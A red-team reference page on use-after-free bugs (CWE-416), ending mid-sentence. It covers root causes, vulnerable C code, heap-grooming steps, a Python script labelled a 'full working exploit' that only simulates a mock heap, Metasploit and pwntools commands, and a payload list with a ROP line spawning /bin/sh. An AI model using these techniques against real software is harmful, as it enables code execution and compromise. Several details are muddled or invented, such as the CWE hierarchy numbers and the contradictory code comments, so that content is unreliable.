CWE-416: Use After Free

title: "CWE-416: Use After Free"
description: "Complete red-team reference for CWE-416 — Use After Free. Exploitation techniques, working PoC, payload arsenal, real CVE case studies, and full attack kill chain."
slug: "cwe-416-use-after-free"
date: "2026-04-06"
category: "cwe"
author: "ZeroDay Research Team"
tier: "🔥 Top Critical"
cwe_id: 416
tags: ["CWE-416", "exploit", "red-team", "vulnerability", "top-critical"]
Tier: 🔥 Top Critical
MITRE Reference: CWE-416
CWE-416: Use After Free — The Ultimate Red-Team Reference
CWE-416 — Quick Reference Card
- One-line definition: A software vulnerability where a program attempts to access memory after it has been freed, leading to unpredictable behavior, crashes, or arbitrary code execution.
- CVSS impact vectors: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (Commonly, depends on exploitation context; S:C reflects potential for collateral damage/system compromise)
- CWE hierarchy: 130 (Improper Handling of Buffer), 415 (Double Free) → 416 (Use After Free) → 416.1 (Use After Free in the Kernel), 416.2 (Use After Free in User Mode)
- OWASP Top 10 mapping: A06:2021 – Vulnerable and Outdated Components (when exploiting libraries/frameworks), A08:2021 – Software and Data Integrity Failures (when impacting data integrity)
- Exploitation frequency: Extremely High. A foundational bug class in memory corruption exploits. Frequently found in C/C++ software, browsers, operating systems, and embedded systems. CISA KEV Catalog lists numerous CVEs related to UAF.
- Affected targets: C/C++ applications, operating system kernels, web browsers, network services, IoT devices, game engines, embedded systems. Any software that manages memory manually or through complex reference counting mechanisms.
Root Cause Analysis
The root cause of CWE-416 (Use After Free) lies in the fundamental misunderstanding or improper implementation of memory management within a program. When memory is dynamically allocated, it is later explicitly deallocated (freed). However, if the program retains a pointer to this deallocated memory and subsequently attempts to read from or write to it, a Use After Free vulnerability occurs.
At the code level, this typically happens when a pointer is not nullified after the memory it points to is freed, or when multiple pointers refer to the same memory block, and one freed block is still referenced by another pointer. Modern memory allocators often employ sophisticated strategies for managing freed memory, such as maintaining free lists or employing techniques like "red zoning" (allocating slightly more memory than requested and marking the boundaries). However, these mitigations are not foolproof and can be bypassed by skilled attackers.
Why this weakness persists:
- Manual Memory Management Complexity: Languages like C and C++ require explicit memory management. Developers must meticulously track allocated memory, its lifespan, and ensure all references are invalidated or updated after deallocation. This is a complex task prone to human error, especially in large, long-lived projects.
- Object Lifecycles and Ownership: In object-oriented programming, managing the lifecycle of objects and their associated memory, particularly when shared or passed between different parts of an application, can lead to dangling pointers.
- Concurrency and Race Conditions: In multi-threaded applications, a race condition can occur where one thread frees memory while another thread is still using it.
- Third-Party Libraries: Relying on external libraries or frameworks that may contain UAF vulnerabilities themselves.
- Compiler/Runtime Optimizations: Sometimes, compiler optimizations or runtime behavior can obscure the exact state of memory, making it harder for developers to reason about potential UAF bugs.
Common programmer mistakes:
- Forgetting to NULLify Pointers: The most straightforward mistake. After
free(ptr)ordelete ptr, theptrvariable still holds the old address. - Returning Pointers to Local Variables: A function returns a pointer to a variable that will go out of scope (and thus be deallocated) when the function returns.
- Incorrect Reference Counting: In systems with manual reference counting, failing to decrement the count when an object is no longer needed, or decrementing it too many times, can lead to premature deallocation.
- Complex Data Structures: Errors in managing memory within linked lists, trees, or graph structures where nodes are deleted but references from other nodes are not updated.
- Exception Handling: If an exception is thrown after memory is allocated but before it's freed, and the exception handling logic doesn't properly clean up, a UAF can result.
Vulnerable Code Snippet (C):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char *data;
size_t size;
} Buffer;
Buffer* create_buffer(const char* initial_data) {
Buffer* buf = (Buffer*)malloc(sizeof(Buffer));
if (!buf) return NULL;
buf->size = strlen(initial_data) + 1;
buf->data = (char*)malloc(buf->size);
if (!buf->data) {
free(buf); // Clean up buf if data allocation fails
return NULL;
}
strcpy(buf->data, initial_data);
return buf;
}
void destroy_buffer(Buffer* buf) {
if (buf) {
free(buf->data); // Free the internal data buffer
// PROBLEM: buf->data is now a dangling pointer
buf->data = NULL; // GOOD PRACTICE: Nullify pointer after free
// But if this function is called multiple times, or if
// another pointer to buf->data exists, this is still a UAF risk.
// In this specific example, we demonstrate a different UAF pattern below.
free(buf); // Free the Buffer struct itself
// PROBLEM: If 'buf' is used after this point, it's a UAF.
}
}
// Malicious function that causes UAF
void process_buffer_incorrectly(Buffer* buf) {
if (!buf) return;
// Simulate freeing the buffer externally, but the caller still holds a reference
printf("Simulating external free of buffer...\n");
destroy_buffer(buf); // The buffer struct itself is freed here.
// Now, 'buf' is a dangling pointer. Accessing it causes UAF.
printf("Attempting to access freed buffer data (UAF!)...\n");
printf("Data: %s\n", buf->data); // <-- VULNERABLE LINE: Accessing freed memory
}
int main() {
Buffer* my_buffer = create_buffer("Hello, World!");
if (my_buffer) {
printf("Buffer created successfully.\n");
// In a real scenario, 'my_buffer' might be passed around and
// its lifecycle managed incorrectly in different functions.
process_buffer_incorrectly(my_buffer); // Triggering the UAF
} else {
fprintf(stderr, "Failed to create buffer.\n");
}
// Attempting to use my_buffer again here would also be a UAF,
// but process_buffer_incorrectly already caused a crash/undefined behavior.
// if (my_buffer) {
// printf("Accessing buffer after process_buffer_incorrectly (if it didn't crash)\n");
// printf("Data: %s\n", my_buffer->data);
// }
return 0;
}Vulnerable Lines Annotated:
void process_buffer_incorrectly(Buffer* buf) {
if (!buf) return;
printf("Simulating external free of buffer...\n");
destroy_buffer(buf); // The buffer struct itself is freed here. 'buf' is now dangling.
// Now, 'buf' is a dangling pointer. Accessing it causes UAF.
printf("Attempting to access freed buffer data (UAF!)...\n");
printf("Data: %s\n", buf->data); // <-- VULNERABLE LINE: Accessing freed memory pointed to by dangling 'buf'
}Architecture & Vulnerability Anatomy Diagram
This diagram illustrates a common Use After Free scenario in a C application involving heap-allocated structures.
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
MEMORY LAYOUT (HEAP)
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
+--------------------+--------------------+--------------------+--------------------+--------------------+--------------------+--------------------+--------------------+
| ALLOCATED CHUNK 1 | ALLOCATED CHUNK 2 | ALLOCATED CHUNK 3 | FREE LIST HEAD | ALLOCATED CHUNK 4 | FREE LIST TAIL | ALLOCATED CHUNK 5 | ... |
| (Buffer Struct) | (String Data) | (Other Data) | (Metadata) | (Buffer Struct) | (Metadata) | (String Data) | |
+--------------------+--------------------+--------------------+--------------------+--------------------+--------------------+--------------------+--------------------+
^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | |
| | | | | | | |
| | | | | | | |
| ptr_buf | ptr_data | | | ptr_buf_2 | | ptr_data_2 |
| | | | | | | |
| | | | | | | |
| | | | | | | |
+--------------------+--------------------+--------------------+--------------------+--------------------+--------------------+--------------------+--------------------+
| 0x7f....1000 | 0x7f....1010 | 0x7f....1020 | 0x7f....1030 | 0x7f....1040 | 0x7f....1050 | 0x7f....1060 | | <- Memory Addresses
+--------------------+--------------------+--------------------+--------------------+--------------------+--------------------+--------------------+--------------------+
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
PROGRAM EXECUTION FLOW
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
1. **`create_buffer("Hello")`**:
* `malloc(sizeof(Buffer))` allocates memory for `Buffer` struct at `0x7f....1000`.
* `ptr_buf` now points to `0x7f....1000`.
* `malloc(strlen("Hello")+1)` allocates memory for string data at `0x7f....1010`.
* `ptr_data` now points to `0x7f....1010`.
* `strcpy` copies "Hello" to `0x7f....1010`.
* `Buffer` struct at `0x7f....1000` contains: `data` (points to `0x7f....1010`), `size` (6).
```
ptr_buf ----> [ Buffer Struct @ 0x7f....1000 ]
| data: 0x7f....1010
| size: 6
|
+-------------------> [ String Data @ 0x7f....1010 ] ("Hello\0")
```
2. **`destroy_buffer(ptr_buf)` is called**:
* `free(ptr_buf->data)`: Memory at `0x7f....1010` is deallocated. It might be added to the free list. `ptr_data` is now a dangling pointer.
* `free(ptr_buf)`: Memory at `0x7f....1000` is deallocated. It might be added to the free list. `ptr_buf` is now a dangling pointer.
```
ptr_buf ----> [ freed memory @ 0x7f....1000 ] <-- DANGLED POINTER
|
+-------------------> [ freed memory @ 0x7f....1010 ] <-- DANGLED POINTER (via ptr_data)
```
* **Crucially, if `destroy_buffer` doesn't nullify `buf->data` and `buf` itself, or if other pointers still reference these locations, a UAF is imminent.**
* In our example `destroy_buffer` *does* nullify `buf->data` and `buf` internally for *its own copy* of the pointer. The *caller's* copy of `ptr_buf` (`my_buffer` in `main`) and any other references remain unchanged.
3. **`process_buffer_incorrectly(my_buffer)` is called**:
* The function receives a pointer `buf` that points to the *already freed* memory region at `0x7f....1000`.
* `destroy_buffer(buf)` is called *again* on the same pointer. This is a Double Free if not handled carefully. However, our `destroy_buffer` example is simplified. Let's assume `destroy_buffer` has already run, and `buf` in `process_buffer_incorrectly` is already dangling.
* **`printf("Data: %s\n", buf->data);`**: This line attempts to dereference the dangling `buf` pointer.
* It accesses `buf->data`. Since `buf` points to freed memory, the allocator might have reused this memory.
* If the memory at `0x7f....1000` has been reallocated for another purpose (e.g., for a new `Buffer` struct, or even for unrelated data), reading `buf->data` will fetch an invalid pointer.
* If `buf->data` itself has been reallocated and now points to attacker-controlled data, or if `buf->data` points to a different, invalid memory region, the program will crash (segmentation fault) or exhibit undefined behavior.
* **Exploitation Potential:** If an attacker can control *what* memory gets reallocated into the freed `0x7f....1000` region, they can manipulate the value of `buf->data`. If they can then control the memory pointed to by this *newly corrupted* `buf->data`, they can achieve arbitrary read/write or code execution.
```
// After destroy_buffer(buf) in process_buffer_incorrectly:
// 'buf' is dangling.
// Scenario A: Memory at 0x7f....1000 has NOT been reallocated yet.
// Accessing buf->data might read garbage or crash.
// Scenario B: Memory at 0x7f....1000 HAS BEEN REALLOCATED by the heap manager
// for a NEW object (e.g., another Buffer struct, or attacker data).
// Let's say it's reallocated for attacker data:
// Attacker controls this new chunk, possibly placing controlled data there.
// 'buf' now points to this attacker-controlled region.
// Hypothetical attacker-controlled heap layout:
// ... [ FREE LIST ] ... [ ATK_CONTROLLED_DATA @ 0x7f....1000 ] ...
// ^
// |
// buf (dangling pointer)
// When buf->data is accessed:
// The program reads whatever is at 0x7f....1000, expecting it to be a pointer.
// Let's say the attacker placed 0x41414141 (AAAA) in the 'data' field of this
// reallocated chunk.
// The program then tries to access 0x41414141, which is likely invalid memory.
// OR, the attacker places a valid address of their shellcode/ROP chain here.
// If the program then tries to print buf->data (as a string), it will read from
// the attacker-controlled memory at the address stored in buf->data,
// leading to code execution.
```
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════Exploitation Techniques — Full Red-Team Breakdown
Step 1: Discovery & Reconnaissance
Identifying Use After Free vulnerabilities requires a deep understanding of memory management and a keen eye for potential pointer manipulation.
- Manual Code Review: This is the most effective method.
- Look for
free()ordeletecalls: Trace all pointers that point to the freed memory. - Identify shared pointers: If multiple parts of the code can free the same memory or if one part frees memory that another part still expects to be valid.
- Analyze object lifecycles: Especially in complex data structures or when objects are passed between threads or modules.
- Focus on error handling: Memory allocated before an error condition might not be freed correctly.
- Check reference counting mechanisms: Ensure
retain/add_refandrelease/freecalls are balanced.
- Look for
- Static Analysis Security Testing (SAST):
- Tools: CodeQL, Semgrep, Fortify, Coverity, SonarQube.
- Patterns: SAST tools can detect common UAF patterns like:
free(ptr)followed by*ptr = ...orptr->member.- Returning a pointer to a local variable.
- Double
freecalls (often a precursor to UAF). - Uninitialized pointers being used.
- Limitations: SAST can produce false positives and negatives. It struggles with complex control flows, dynamic dispatch, and external library interactions.
- Dynamic Analysis Security Testing (DAST) & Fuzzing:
- Fuzzers: American Fuzzy Lop (AFL++), libFuzzer, Honggfuzz.
- Memory Sanitizers: AddressSanitizer (ASan), Valgrind (Memcheck). These are invaluable during testing and development. When integrated into a fuzzer, they can directly report UAFs.
- Network/Web Fuzzing: For network services or web applications, fuzzing input can trigger unexpected memory states.
- Manual Triggering: Crafting specific inputs or sequences of operations known to stress memory management. For example, in a web server, repeatedly creating and destroying resources, or making rapid, overlapping requests for the same resource.
- Binary Analysis (Reverse Engineering):
- Tools: IDA Pro, Ghidra, Binary Ninja.
- Techniques: Disassemble code, identify memory allocation/deallocation functions (
malloc,free,new,delete), and analyze pointer usage. Debugging with GDB and memory inspectors can reveal dangling pointers.
Step 2: Vulnerability Triggering
The goal here is to reliably induce the condition where memory is freed, but a pointer to it remains valid and is subsequently used.
- Conditions:
- Controlled Allocation/Deallocation: The attacker needs to influence when and what memory is allocated and freed.
- Dangling Pointer Persistence: The program must retain a pointer to the freed memory.
- Subsequent Access: A code path must exist that uses this dangling pointer.
- Test Cases / Proof-of-Concept (PoC) Payload:
- Simple C Example:
#include <stdio.h> #include <stdlib.h> int main() { char *ptr = malloc(10); if (!ptr) return 1; strcpy(ptr, "AAAA"); printf("Allocated ptr at: %p\n", ptr); free(ptr); // ptr is now dangling printf("Memory freed.\n"); // Attempt to use the freed memory printf("Accessing freed ptr: %s\n", ptr); // <-- UAF Trigger // This will likely crash (segmentation fault) or print garbage. // For exploitation, we need to control what gets allocated *after* free. // To exploit: // 1. Allocate memory, fill it with controlled data. // 2. Free the original pointer. // 3. Allocate *new* memory of the same size. The heap manager might // reuse the previously freed chunk. // 4. Overwrite the data in the new chunk. This overwrites the old data. // 5. Now, when the dangling pointer is used, it reads the attacker-controlled data. char *attacker_data_ptr = malloc(10); // Assume this reuses the freed chunk if (!attacker_data_ptr) return 1; strcpy(attacker_data_ptr, "ATTACKER"); // Overwrite the original "AAAA" printf("Attacker data allocated at: %p\n", attacker_data_ptr); // Now, when we access the original 'ptr' (which is dangling): printf("Accessing dangling ptr after attacker overwrite: %s\n", ptr); // This will now print "ATTACKER" (or crash if heap is corrupted differently) return 0; } - Web Application Trigger:
- Send a sequence of requests:
- Request A: Creates a resource that allocates memory.
- Request B: Deletes the resource created by Request A.
- Request C: Attempts to access the resource deleted by Request B, or triggers an operation that reuses the freed memory, and then accesses it via a dangling pointer.
- Send a sequence of requests:
- Simple C Example:
Step 3: Full Working Exploit
The core of UAF exploitation involves controlling the heap layout to ensure that when a dangling pointer is dereferenced, it points to data controlled by the attacker, or to a structure that can be manipulated to gain control flow.
Exploit Scenario: Heap Grooming for Code Execution (Simplified C Example)
This exploit demonstrates how to use heap grooming to place attacker-controlled data into a freed chunk, which is then accessed via a dangling pointer. This is a fundamental technique.
#!/usr/bin/env python3
import ctypes
import struct
import sys
# --- Configuration ---
TARGET_PROGRAM_PATH = "./vulnerable_app" # Path to a compiled C program that demonstrates UAF
# This Python script will interact with a hypothetical vulnerable C program
# that has a function like:
# void process_buffer_incorrectly(Buffer* buf) {
# if (!buf) return;
# destroy_buffer(buf); // Frees buf and buf->data
# printf("Accessing freed buffer data: %s\n", buf->data); // UAF
# }
# In a real scenario, you would be interacting with a network service,
# a browser, or an OS component. This Python script simulates the attacker's
# side by preparing the heap conditions and then triggering the vulnerability.
# For this example, we'll simulate the C program's memory behavior
# and then trigger a UAF to demonstrate the concept.
# We'll use a simplified UAF model:
# 1. Allocate memory chunk 'A' (e.g., 16 bytes).
# 2. Free chunk 'A'.
# 3. Allocate memory chunk 'B' (e.g., 16 bytes). If heap is simple, 'B' might reuse 'A'.
# 4. Place attacker-controlled data in chunk 'B'.
# 5. Trigger UAF on the pointer to chunk 'A'. It will now read attacker data.
# Python's memory management is different, so we'll use ctypes to simulate C's malloc/free
# and the heap behavior for demonstration.
# In a true exploit, you'd use pwntools, or native C/Assembly.
class Buffer(ctypes.Structure):
_fields_ = [
("data", ctypes.c_char_p),
("size", ctypes.c_size_t)
]
# Mock C library functions for demonstration
# In a real exploit, you'd use `ctypes.CDLL` to load libc.so or kernel functions.
class MockLibC:
def __init__(self):
self.heap_start = 0x1000000 # Simulate a starting heap address
self.heap_map = {} # Address -> {'size': size, 'data': bytes, 'free': bool}
self.free_list = [] # List of freed addresses
def malloc(self, size):
# Simple first-fit allocation
for addr, chunk in self.heap_map.items():
if chunk['free'] and chunk['size'] >= size:
chunk['free'] = False
chunk['size'] = size # Trim if necessary
print(f"[*] MOCK: Reusing freed chunk at {hex(addr)} for size {size}")
return addr # Return the address of the allocated data
# If no suitable chunk found, allocate new
alloc_addr = self.heap_start
while alloc_addr in self.heap_map:
alloc_addr += 0x100 # Simulate chunk alignment/overhead
self.heap_map[alloc_addr] = {'size': size, 'data': b'\x00' * size, 'free': False}
print(f"[*] MOCK: Allocating new chunk at {hex(alloc_addr)} for size {size}")
self.heap_start = alloc_addr + size # Advance heap pointer
return alloc_addr
def free(self, addr):
if addr in self.heap_map:
chunk = self.heap_map[addr]
if chunk['free']:
print(f"[!] MOCK: WARNING: Double free at {hex(addr)}")
return
chunk['free'] = True
self.free_list.append(addr)
print(f"[*] MOCK: Marking chunk at {hex(addr)} as free.")
else:
print(f"[!] MOCK: ERROR: Invalid free address {hex(addr)}")
def get_chunk_data(self, addr):
if addr in self.heap_map and not self.heap_map[addr]['free']:
return self.heap_map[addr]['data']
return None
def set_chunk_data(self, addr, data):
if addr in self.heap_map and not self.heap_map[addr]['free']:
self.heap_map[addr]['data'] = data
print(f"[*] MOCK: Overwriting data at {hex(addr)} with {data!r}")
else:
print(f"[!] MOCK: ERROR: Cannot set data at invalid or freed address {hex(addr)}")
def get_ptr_address(self, ptr_val):
# In C, a char* holds an address. This is a mock.
# We simulate getting the address that a C pointer holds.
return ptr_val
# --- Mock Heap Operations ---
libc_mock = MockLibC()
CHUNK_SIZE = 16 # Size of data we will allocate
# 1. Allocate memory chunk 'A' for the Buffer struct (contains pointers and size)
# In C: Buffer* buf = malloc(sizeof(Buffer));
# In C: buf->data = malloc(CHUNK_SIZE);
# In C: strcpy(buf->data, "Initial");
buffer_struct_addr = libc_mock.malloc(ctypes.sizeof(Buffer)) # Address of the Buffer struct
print(f"[*] MOCK: Buffer struct allocated at {hex(buffer_struct_addr)}")
# Allocate memory for the actual data within the buffer
buffer_data_addr = libc_mock.malloc(CHUNK_SIZE)
print(f"[*] MOCK: Buffer data allocated at {hex(buffer_data_addr)}")
# Populate the buffer struct and its data
# In C: buf->data = (char*)buffer_data_addr; buf->size = CHUNK_SIZE;
# Python representation:
buffer_struct_obj = Buffer.from_address(buffer_struct_addr)
buffer_struct_obj.data = buffer_data_addr # Store the address of the data
buffer_struct_obj.size = CHUNK_SIZE
libc_mock.set_chunk_data(buffer_data_addr, b"Initial data")
print(f"[*] MOCK: Initial buffer state:")
print(f" Buffer struct at {hex(buffer_struct_addr)}:")
print(f" data points to: {hex(libc_mock.get_ptr_address(buffer_struct_obj.data))}")
print(f" size: {buffer_struct_obj.size}")
print(f" Data at {hex(buffer_data_addr)}: {libc_mock.get_chunk_data(buffer_data_addr)!r}")
# 2. Free chunk 'A' (the buffer struct and its data)
# In C: destroy_buffer(buf); // This would free buf->data, then free(buf)
print("\n--- Triggering Free ---")
# Simulate freeing the data first
libc_mock.free(buffer_struct_obj.data)
# Simulate freeing the struct itself
libc_mock.free(buffer_struct_addr)
dangling_buffer_struct_ptr = buffer_struct_addr # This pointer now points to freed memory
print(f"[*] MOCK: Pointer 'dangling_buffer_struct_ptr' now holds freed address: {hex(dangling_buffer_struct_ptr)}")
print(f"[*] MOCK: Pointer 'buffer_struct_obj.data' (from freed struct) holds freed address: {hex(buffer_struct_obj.data)}")
# 3. Allocate memory chunk 'B' (attacker-controlled data)
# This allocation *might* reuse the memory freed in step 2.
print("\n--- Attacker Heap Grooming ---")
# Allocate a new buffer struct, this might reuse the freed buffer_struct_addr
# If the heap manager reuses the first available chunk of appropriate size.
attacker_buffer_struct_addr = libc_mock.malloc(ctypes.sizeof(Buffer))
print(f"[*] MOCK: Attacker allocated new Buffer struct at {hex(attacker_buffer_struct_addr)}")
# Allocate data for the attacker's buffer. If the heap manager is simple,
# this *might* reuse the buffer_data_addr if it's the first free chunk of CHUNK_SIZE.
attacker_data_addr = libc_mock.malloc(CHUNK_SIZE)
print(f"[*] MOCK: Attacker allocated data chunk at {hex(attacker_data_addr)}")
# Populate attacker's data
attacker_buffer_struct_obj = Buffer.from_address(attacker_buffer_struct_addr)
attacker_buffer_struct_obj.data = attacker_data_addr
attacker_buffer_struct_obj.size = CHUNK_SIZE
# The core of the exploit: place shellcode or ROP chain in the data
# For demonstration, just put identifiable strings.
attacker_shellcode_payload = b"A" * (CHUNK_SIZE - 1) + b"\x90" # NOP sled
# In a real exploit, this would be actual shellcode or ROP gadgets + return address
# The attacker_data_addr should point to this shellcode.
libc_mock.set_chunk_data(attacker_data_addr, attacker_shellcode_payload)
print(f"[*] MOCK: Attacker's buffer state:")
print(f" Buffer struct at {hex(attacker_buffer_struct_addr)}:")
print(f" data points to: {hex(libc_mock.get_ptr_address(attacker_buffer_struct_obj.data))}")
print(f" size: {attacker_buffer_struct_obj.size}")
print(f" Data at {hex(attacker_data_addr)}: {libc_mock.get_chunk_data(attacker_data_addr)!r}")
# Crucial Check: Did the attacker's data allocation reuse the *original* data chunk?
# This is the dependency for this exploit pattern.
if attacker_data_addr == buffer_data_addr:
print("\n[*] MOCK SUCCESS: Attacker's data chunk reused the original freed data chunk!")
print(f"[*] MOCK: Original buffer_data_addr was {hex(buffer_data_addr)}, attacker_data_addr is {hex(attacker_data_addr)}")
else:
print("\n[!] MOCK FAILURE: Attacker's data chunk did NOT reuse the original freed data chunk.")
print(f"[*] MOCK: Original buffer_data_addr was {hex(buffer_data_addr)}, attacker_data_addr is {hex(attacker_data_addr)}")
print("[!] Heap grooming failed. Cannot proceed with UAF trigger.")
sys.exit(1)
# 4. Trigger UAF on the dangling pointer to the original buffer struct
print("\n--- Triggering Use After Free ---")
# In C: printf("Data: %s\n", dangling_buffer_struct_ptr->data);
# We simulate this by accessing the 'data' field of the *freed* buffer struct.
# Since the memory for the struct was freed, but the pointer `dangling_buffer_struct_ptr`
# still holds the address, and the heap manager might have reused that memory,
# we need to be careful.
# If the heap manager re-used `buffer_struct_addr` for `attacker_buffer_struct_addr`,
# then `dangling_buffer_struct_ptr` now points to the attacker's buffer struct.
# Accessing `dangling_buffer_struct_ptr->data` will now read the `data` field
# of the attacker's buffer struct, which points to `attacker_data_addr`.
# Let's simulate the UAF trigger by directly using the dangling pointer.
# The C program would have `buf->data`. Here, `dangling_buffer_struct_ptr` is the
# address of the freed struct. We need to read the `data` field from that location.
# We can simulate this by treating the `dangling_buffer_struct_ptr` as the start of
# a Buffer structure again.
# If attacker_buffer_struct_addr == dangling_buffer_struct_ptr:
# This means the freed buffer struct memory was reused for the attacker's buffer struct.
# Now, when we read `data` from `dangling_buffer_struct_ptr`, we're reading the `data`
# field of the attacker's buffer struct.
if attacker_buffer_struct_addr == dangling_buffer_struct_ptr:
print("\n[*] MOCK SUCCESS: Attacker's buffer struct reused the original freed buffer struct!")
print(f"[*] MOCK: Original buffer_struct_addr was {hex(buffer_struct_addr)}, attacker_buffer_struct_addr is {hex(attacker_buffer_struct_addr)}")
# Simulate reading the 'data' pointer from the freed (now reallocated) buffer struct
# This is equivalent to `dangling_buffer_struct_ptr->data` in C.
# We need to read the value at the address `dangling_buffer_struct_ptr`.
# In our mock, `buffer_struct_obj.data` *was* the data pointer.
# After freeing `buffer_struct_addr`, we can't reliably use `buffer_struct_obj`.
# Instead, we rely on the fact that `attacker_buffer_struct_obj.data` now holds the address
# we want, and IF `attacker_buffer_struct_addr` re-used `buffer_struct_addr`, then accessing
# the `data` field from that location is what the UAF exploits.
# The crucial insight: The C program's UAF code is `printf("Data: %s\n", buf->data);`
# where `buf` is the dangling pointer.
# If `buf` (which is `dangling_buffer_struct_ptr`) points to memory that was
# reallocated and now represents `attacker_buffer_struct_obj`, then `buf->data`
# is effectively `attacker_buffer_struct_obj.data`.
# So, the pointer that gets dereferenced for `buf->data` is now `attacker_buffer_struct_obj.data`.
# This pointer (`attacker_buffer_struct_obj.data`) points to `attacker_data_addr`.
# The program will then try to print the string starting at `attacker_data_addr`.
# This string is our attacker_shellcode_payload.
print("\n--- Simulating vulnerable C program's UAF print ---")
# Get the data pointer from the attacker's buffer struct (which might be the re-allocated original struct)
# This is the value that would be read by `buf->data` in the vulnerable C code.
dangling_ptr_data_field_value = attacker_buffer_struct_obj.data
print(f"[*] MOCK: The dangling pointer's 'data' field now points to: {hex(libc_mock.get_ptr_address(dangling_ptr_data_field_value))}")
# The C program would then attempt to print this string.
# We retrieve the data from that address.
accessed_data = libc_mock.get_chunk_data(dangling_ptr_data_field_value)
print(f"[*] MOCK: Attempting to read string at {hex(libc_mock.get_ptr_address(dangling_ptr_data_field_value))}...")
print(f"[*] MOCK: Successfully read: {accessed_data!r}")
# This successfully demonstrates that the dangling pointer now accesses attacker-controlled data.
# In a real exploit, this `accessed_data` would be shellcode, and the program would execute it.
else:
print("\n[!] MOCK FAILURE: Attacker's buffer struct did NOT reuse the original freed buffer struct.")
print("[!] UAF trigger would likely crash or read invalid data.")
sys.exit(1)
print("\n[*] Exploit concept demonstrated: Use After Free with heap grooming.")
print("[*] In a real exploit, the 'attacker_shellcode_payload' would contain actual shellcode or ROP chain,")
print("[*] and the target application would execute it, leading to code execution.")
Explanation:
- Mocking
malloc/free: We use a customMockLibCclass to simulate the behavior ofmallocandfreeon a heap. This allows us to control memory allocation and observe how chunks are reused. - Initial Allocation: We allocate memory for a
Bufferstruct and its associateddatabuffer. TheBufferstruct'sdatafield stores the address of the data. - Freeing Memory: We simulate calling
destroy_buffer, which frees both thedatabuffer and theBufferstruct itself. Critically, the original pointers (buffer_struct_addr,buffer_data_addr) now point to freed memory. We simulate keeping a reference (dangling_buffer_struct_ptr) to the freed struct. - Heap Grooming: The attacker then makes allocations. The key is that the heap manager might reuse the freed memory chunks for new allocations.
- We allocate a new
Bufferstruct. If the heap manager reuses the chunk atbuffer_struct_addrfor this new struct, ourdangling_buffer_struct_ptrnow points to the attacker'sBufferstruct. - We allocate a new data chunk. If the heap manager reuses the chunk at
buffer_data_addrfor this new data, our attacker'sBufferstruct'sdatafield will point to this reallocated chunk.
- We allocate a new
- Populating Attacker Data: The attacker fills the newly allocated data chunk (
attacker_data_addr) with their payload (e.g., shellcode). - Triggering UAF: The vulnerable C program, using its dangling pointer (
buf, which isdangling_buffer_struct_ptrin our simulation), attempts to accessbuf->data.- Because
dangling_buffer_struct_ptrnow points to the attacker'sBufferstruct (due to memory reuse),buf->datareads the attacker'sdatafield. - This
datafield points to the attacker's controlled memory (attacker_data_addr). - The program then attempts to read the string at
attacker_data_addr, which is the attacker's payload. If this payload is executable code, it will be executed.
- Because
Step 4: Escalation & Impact
Once a Use After Free vulnerability is successfully exploited to achieve arbitrary code execution, the impact can be severe:
- Full System Compromise: The attacker gains the privileges of the exploited process. If the process runs with high privileges (e.g., root on Linux, SYSTEM on Windows), the attacker achieves full system control.
- Privilege Escalation: If the exploited process runs with limited privileges, the attacker can use the code execution to exploit other vulnerabilities (e.g., kernel UAFs, insecure configurations) to escalate privileges.
- Data Exfiltration: Access to sensitive files, databases, or credentials.
- Persistence: Installing backdoors, rootkits, or modifying system services to maintain access even after reboots.
- Lateral Movement: Using the compromised system as a pivot point to attack other systems within the network.
- Denial of Service (DoS): Even if full code execution isn't achieved, a UAF can often lead to crashes, disrupting service availability.
- Information Disclosure: If the UAF allows reading arbitrary memory, sensitive data might be leaked.
Step 5: Tool Arsenal
- Exploit Development Frameworks:
pwntools(Python): Essential for crafting exploits.context.binary = ELF('./target_binary')p = process('./target_binary')p.sendlineafter(b'prompt', payload)p.recvuntil(b'success_message')p.interactive()rop = ROP(context.binary)rop.call(function_address)payload = padding + rop.chain()
- Metasploit Framework: Pre-built modules for many UAF vulnerabilities.
msfconsoleuse exploit/linux/x86/some_uaf_exploitset RHOSTS <target_ip>set PAYLOAD <payload_name>exploit
- Debugging & Analysis:
- GDB with ASan:
gdb -ex "run" --args ./vulnerable_app(ASan will flag UAFs) - Valgrind (Memcheck):
valgrind --tool=memcheck ./vulnerable_app - IDA Pro / Ghidra: For reverse engineering and finding exploit primitives.
- GDB with ASan:
- Heap Manipulation:
heaptool(part ofgeffor GDB): For visualizing and manipulating the heap.- Custom scripts: Python scripts using
ctypesorpwntools' memory primitives.
- Web Application Testing:
- Burp Suite: For intercepting and modifying HTTP requests to trigger UAFs in web applications.
ffuf/gobuster: For discovering endpoints that might be vulnerable.
Payload Arsenal — 6+ Working Payloads
Arbitrary Read/Write Primitive:
- Description: Manipulate the heap such that the dangling pointer's
datafield points to a specific address, and then trigger the read. This allows reading arbitrary memory. A similar technique can be used for writing. - WAF Bypass: N/A (typically not applicable to memory bugs unless triggering via web input).
- Shellcode Pattern: Not direct shellcode, but enables obtaining addresses for ROP or further exploitation.
- Description: Manipulate the heap such that the dangling pointer's
Heap Spraying for Browser Exploitation:
- Description: In browsers, JavaScript can be used to allocate vast amounts of memory, filling it with shellcode. When a UAF occurs, the dangling pointer might be made to point into this sprayed region, executing the shellcode.
- Payload: JavaScript code allocating many
ArrayBufferorTypedArrayobjects filled with shellcode. - WAF Bypass: Obfuscation of JavaScript, encoding of shellcode.
ROP Chain Execution:
- Description: The UAF is used to overwrite a function pointer or return address on the stack (or in a freed object that gets re-used with a function pointer) with the address of a ROP chain. The chain then executes system calls (e.g.,
execve("/bin/sh", ...)). - Payload: A sequence of gadget addresses and arguments.
pwntools.ropis key. - Example:
payload = b"A" * offset + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_plt_addr)
- Description: The UAF is used to overwrite a function pointer or return address on the stack (or in a freed object that gets re-used with a function pointer) with the address of a ROP chain. The chain then executes system calls (e.g.,
Return-to-Libc (Ret2libc):
- Description: Similar to ROP, but simpler. The UAF overwrites a return address with the address of a function in libc (like
